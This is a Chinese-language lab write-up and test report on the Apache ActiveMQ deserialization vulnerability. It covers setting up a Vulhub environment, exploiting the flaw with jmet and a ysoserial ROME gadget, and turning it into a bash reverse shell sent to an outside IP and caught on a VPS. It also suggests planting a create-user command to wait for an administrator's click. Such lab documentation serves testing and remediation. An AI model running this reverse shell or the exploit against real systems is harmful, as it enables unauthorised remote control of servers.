表格 1‑1:ActiveMQ反序列化漏洞
漏洞名称 | ActiveMQ反序列化漏洞 |
风险等级 | 高 |
漏洞描述 | Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。 |
整改建议 | 1、升级到最新版本 |
检测结果如下:
1.漏洞测试
经过测试发现该平台存在ActiveMQ反序列化漏洞。
- 1漏洞环境
- 环境安装
更新APT,apt-get update
安装docker和docker-compose
下载Vulhub git clone vulhub: https://github.com/vulhub/vulhub
2.漏洞环境部署
1).启动docker服务
2).进入某一个漏洞环境的目录
3).自动化编译环境
3.运行漏洞环境
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://192.168.217.128:8161即可看到网络管理页面。
http://192.168.172.128:8161/admin/(默认的用户名/密码为admin/admin)
进入后的页面
- 2漏洞复现利用
- 使用jmet进行漏洞利用
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.80.131:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息
点击查看这条消息即可触发命令执行
此时进入容器,.可看到/ tmp /已成功创建,说明漏洞利用成功
2.反弹shell
1).将命令替换成弹shell的语句再利用;
#bash反弹命令
bash -i >& /dev/tcp/39.106.128.92/3389 0>&1
2).将反弹语句bese64编码;
3).vps开启端口监听
返回之前的event队列,再点击触发,ID同kali最后命令执行完成后的ID一样。
返回查看vps,可以看到vps的监听端口已经接受到弹回的shell了,可以执行命令。
- 3漏洞总结
- 漏洞成因
Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。
2.影响版本
Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
3.利用限制
1).版本符合
2).立即执行代码:能够通过弱密码登录查看消息队列
3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)